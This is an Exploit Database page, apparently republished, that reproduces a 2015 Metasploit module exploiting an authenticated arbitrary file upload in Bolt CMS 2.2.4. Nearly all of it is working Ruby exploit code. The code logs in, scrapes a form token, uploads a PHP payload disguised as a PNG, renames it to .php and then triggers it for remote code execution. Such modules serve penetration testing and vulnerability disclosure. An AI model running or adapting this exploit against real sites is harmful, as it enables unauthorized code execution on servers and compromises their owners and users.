CMS Bolt – Arbitrary File Upload (Metasploit)

• Exploit Database
• 20 阅读

• 作者： Metasploit
  日期： 2015-09-15
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/38196/

• ##
  # This module requires Metasploit: http://www.metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(
  info,
  'Name'=> 'CMS Bolt File Upload Vulnerability',
  'Description' => %q{
  Bolt CMS contains a flaw that allows an authenticated remote
  attacker to execute arbitrary PHP code. This module was
  tested on version 2.2.4.
  },
  'License' => MSF_LICENSE,
  'Author'=>
  [
  'Tim Coen', # Vulnerability Disclosure
  'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
  ],
  'References'=>
  [
  ['URL', 'http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html']
  ],
  'DisclosureDate'=> 'Aug 17 2015',
  'Platform'=> 'php',
  'Arch'=> ARCH_PHP,
  'Targets' => [['Bolt 2.2.4', {}]],
  'DefaultTarget' => 0
  ))
  
  register_options(
  [
  OptString.new('TARGETURI',[true, 'The base path to the web application', '/']),
  OptString.new('FOLDERNAME', [true, 'The theme path to the web application (default: base-2014)', 'base-2014']),
  OptString.new('USERNAME', [true, 'The username to authenticate with']),
  OptString.new('PASSWORD', [true, 'The password to authenticate with'])
  ], self.class)
  end
  
  def check
  cookie = bolt_login(username, password)
  return Exploit::CheckCode::Detected unless cookie
  
  res = send_request_cgi(
  'method'=> 'GET',
  'uri' => normalize_uri(target_uri.path, 'bolt'),
  'cookie'=> cookie
  )
  
  if res && res.code == 200 && res.body.include?('Bolt 2.2.4</b>: Sophisticated, lightweight & simple CMS')
  return Exploit::CheckCode::Vulnerable
  end
  Exploit::CheckCode::Safe
  end
  
  def username
  datastore['USERNAME']
  end
  
  def password
  datastore['PASSWORD']
  end
  
  def fname
  datastore['FOLDERNAME']
  end
  
  def bolt_login(user, pass)
  res = send_request_cgi(
  'method'=> 'GET',
  'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
  )
  
  fail_with(Failure::Unreachable, 'No response received from the target.') unless res
  
  session_cookie = res.get_cookies
  vprint_status("#{peer} - Logging in...")
  res = send_request_cgi(
  'method'=> 'POST',
  'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
  'cookie'=> session_cookie,
  'vars_post' => {
  'username'=> user,
  'password'=> pass,
  'action'=> 'login'
  }
  )
  
  return res.get_cookies if res && res.code == 302 && res.redirection.to_s.include?('/bolt')
  nil
  end
  
  def get_token(cookie, fname)
  res = send_request_cgi(
  'method'=> 'GET',
  'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
  'cookie'=> cookie
  )
  
  if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" /
  return Regexp.last_match[1]
  end
  nil
  end
  
  def rename_payload(cookie, payload, fname)
  res = send_request_cgi(
  'method'=> 'POST',
  'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'),
  'vars_post' => {
  'namespace' => 'theme',
  'parent'=> fname,
  'oldname' => "#{payload}.png",
  'newname' => "#{payload}.php"
  },
  'cookie'=> cookie
  )
  
  return true if res && res.code == 200 && res.body.include?('1')
  nil
  end
  
  def exploit
  vprint_status("#{peer} - Authenticating using #{username}:#{password}")
  
  cookie = bolt_login(username, password)
  fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
  vprint_good("#{peer} - Authenticated with Bolt.")
  
  token = get_token(cookie, fname)
  fail_with(Failure::Unknown, 'No token found.') if token.nil?
  vprint_good("#{peer} - Token \"#{token}\" found.")
  
  vprint_status("#{peer} - Preparing payload...")
  payload_name = Rex::Text.rand_text_alpha_lower(10)
  
  data = Rex::MIME::Message.new
  data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"form[FileUpload][]\"; filename=\"#{payload_name}.png\"")
  data.add_part("#{token}", nil, nil, 'form-data; name="form[_token]"')
  post_data = data.to_s
  
  vprint_status("#{peer} - Uploading payload...")
  res = send_request_cgi(
  'method'=> 'POST',
  'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
  'ctype' => "multipart/form-data; boundary=#{data.bound}",
  'data'=> post_data,
  'cookie'=> cookie
  )
  
  fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 302
  vprint_good("#{peer} - Uploaded the payload.")
  
  rename = rename_payload(cookie, payload_name, fname)
  fail_with(Failure::Unknown, 'No renamed filename.') if rename.nil?
  
  php_file_name = "#{payload_name}.php"
  payload_url = normalize_uri(target_uri.path, 'theme', fname, php_file_name)
  vprint_status("#{peer} - Parsed response.")
  
  register_files_for_cleanup(php_file_name)
  vprint_status("#{peer} - Executing the payload at #{payload_url}.")
  send_request_cgi(
  'uri' => payload_url,
  'method'=> 'GET'
  )
  end
  end